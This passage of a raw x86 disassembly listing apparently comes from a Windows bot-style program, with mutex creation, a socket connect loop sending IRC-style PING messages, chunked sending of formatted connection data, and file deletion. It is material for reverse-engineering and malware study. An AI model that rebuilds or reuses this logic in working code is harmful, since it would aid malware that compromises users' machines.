eax, eax jnz short loc_416413 mov eax, [ebp-4] add eax, [ebp-19B8h] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: .text:00416405j jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: .text:004163BBj and dword ptr [ebp-19B8h], 0 mov eax, [ebp-19B8h] mov [ebp-17ACh], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: .text:00416470j ; .text:00416483j ... mov eax, [ebp-19B8h] inc eax mov [ebp-19B8h], eax loc_416437: ; CODE XREF: .text:00416428j mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp-4] add eax, [ebp-17ACh] mov ecx, [ebp-4] add ecx, [ebp-19B8h] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: .text:00416445j mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: .text:0041646Ej mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: .text:00416481j mov eax, [ebp-4] add eax, [ebp-17ACh] mov ecx, [ebp-4] add ecx, [ebp-19B8h] mov cl, [ecx] mov [eax], cl mov eax, [ebp-17ACh] inc eax mov [ebp-17ACh], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: .text:0041645Dj cmp dword ptr [ebp-17ACh], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: .text:004164B1j push 100h mov eax, [ebp-161Ch] push dword ptr [eax+0Ch] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp-19B4h] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp-161Ch] push dword ptr [eax+10h] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp-18B0h] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp-1628h] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp-18B0h] push eax mov eax, [ebp-1628h] mov ax, [eax] push eax call ds:dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp-19B4h] push eax push offset dword_41D9A8 lea eax, [ebp-17A8h] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp-18B4h], eax mov eax, 180h sub eax, [ebp-18B4h] push eax push dword ptr [ebp-4] mov eax, [ebp-18B4h] lea eax, [ebp+eax-17A8h] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-17A8h] push eax push offset aS ; "%s" lea eax, [ebp-140Ch] push eax call sub_40D53F add esp, 0Ch push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp-1614h] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: .text:004165A6j mov eax, 180h sub eax, [ebp-18B4h] dec eax mov [ebp-17B0h], eax loc_4165BF: ; CODE XREF: .text:00416630j mov eax, [ebp-17B0h] cmp eax, [ebp-17ACh] jnb short loc_416632 push 180h mov eax, [ebp-4] add eax, [ebp-17B0h] push eax lea eax, [ebp-17A8h] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-17A8h] push eax push offset aS ; "%s" lea eax, [ebp-140Ch] push eax call sub_40D53F add esp, 0Ch push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp-1614h] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: .text:0041661Bj mov eax, [ebp-17B0h] add eax, 17Fh mov [ebp-17B0h], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: .text:004162C4j ; .text:00416393j ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: .text:00416212j ; .text:loc_416229j ... push dword ptr [ebp-104Ch] call ds:dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: .text:0041661Dj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: .text:004165A8j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: .text:00415FD9j ; .text:00416026j ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE30 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DA10 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset word_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call ds:dword_4170F4 ; SetErrorMode and dword ptr [ebp-4], 0 push dword_41DA54 push dword_41DA50 push 3B6h push dword_41DA4C push 0 push dword_41DA48 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E ; sprintf add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: .text:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: .text:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: .text:0041687Cj push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-115Ch] push eax push 0 push 0 call ds:dword_4170F8 ; CreateMutexA mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call ds:dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: .text:004168ACj ; .text:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: .text:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA48 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA48 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC30, eax call sub_410422 mov dword_41EC34, eax call sub_410422 mov dword_41EC38, eax call sub_410422 mov dword_41EC3C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE30 push offset aPacked_exe ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: .text:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: .text:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: .text:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DE30 push offset aPacked_exe ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: .text:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset aPacked_exe ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aPacked_exe ; "packed.exe" push offset aPacked_exe_0 ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: .text:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: .text:0041695Cj ; .text:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call ds:dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: .text:00416A43j ; .text:00416AA7j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: .text:loc_416A6Fj ; .text:00416AC0j push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: .text:00416A3Dj cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: .text:00416A4Cj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: .text:00416A60j jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: .text:00416A34j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: .text:00416A98j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: .text:00416AA1j and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; --------------------------------------------------------------------------- aHA db 'hœÝA',0 dw 1868h dd 0FF0041C3h, 54E8EC75h, 83FFFEC8h, 8BC30CC4h, 6583E865h dd 32E900FCh, 68FFFFFFh, 41DD94h, 41C31868h, 0EC75FF00h dd 0FEC832E8h, 0CC483FFh, 0E8658BC3h, 0FFFC4D83h, 0DE383D83h dd 74000041h, 0DD546811h, 0B4680041h, 0E80041DAh, 0FFFF698Fh dd 15FF5959h, 417254h, 0D1E8006Ah, 8B000000h, 8964F04Dh dd 0Dh, 5B5E5F00h db 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; .text:00402124p ... jmp ds:dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp ds:dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: .text:004012C9p ; sub_4017AA+22p ... jmp ds:dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: .text:00401269p ; .text:00401722p ... jmp ds:dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: .text:0040125Ep ; .text:00401999p ... jmp ds:dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp ds:dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; .text:00405816p ... jmp ds:dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp ds:dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: .text:00401AC6p ; .text:00401AD9p ... jmp ds:dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp ds:dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: .text:00401FE3p ; .text:00402268p ... jmp ds:dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: .text:00401FB1p ; sub_402698+24Cp ... jmp ds:dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: .text:00401ED5p ; .text:0040209Ap ... jmp ds:dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: .text:00401E7Ap ; .text:0040221Bp ... jmp ds:dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- dw 0CCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: .text:00402383p ; sub_41102F+94p ... jmp ds:dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: .text:0040225Ap ; .text:0040227Ep ... jmp ds:dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp ds:dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp ds:dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp ds:dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; .text:0040878Cp ... jmp ds:dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: .text:00403DFBp ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp ds:dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp ds:dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p jmp ds:dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- dw 0CCCCh dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp ds:dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp ds:dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; --------------------------------------------------------------------------- word_416DBA dw 25FFh ; DATA XREF: .text:004093C0o ; .text:004094F0o ... dd offset dword_41715C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp ds:dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp ds:dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p jmp ds:dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp ds:dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; .text:00409F0Bp jmp ds:dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp ds:dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp ds:dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp ds:dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp ds:dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp ds:dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp ds:dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp ds:dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- dd 712425FFh, 0CCCC0041h, 6450FF6Ah, 0A1h, 448B5000h, 89640C24h dd 25h, 246C8900h, 246C8D0Ch, 0CCC3500Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp ds:dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- aJ db 'ÌÌÌÌÌÌÌÌÌÌj',0 dw 74FFh aSd db '$',8,'èd',0 db 2 dup(0), 0C2h db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+0Ch] push edx push offset dword_41DDD0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+0Ch] push esi push dword ptr [ebp+10h] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+0Ch] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp-4] push eax push 0 call ds:dword_4171C8 test eax, eax jz short loc_416EA0 and dword ptr [ebp-4], 0 loc_416EA0: ; CODE XREF: .text:00416E5Bj ; .text:00416E6Dj ... push dword ptr [ebp-4] push dword ptr [ebp+8] call sub_416EAF leave retn 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: 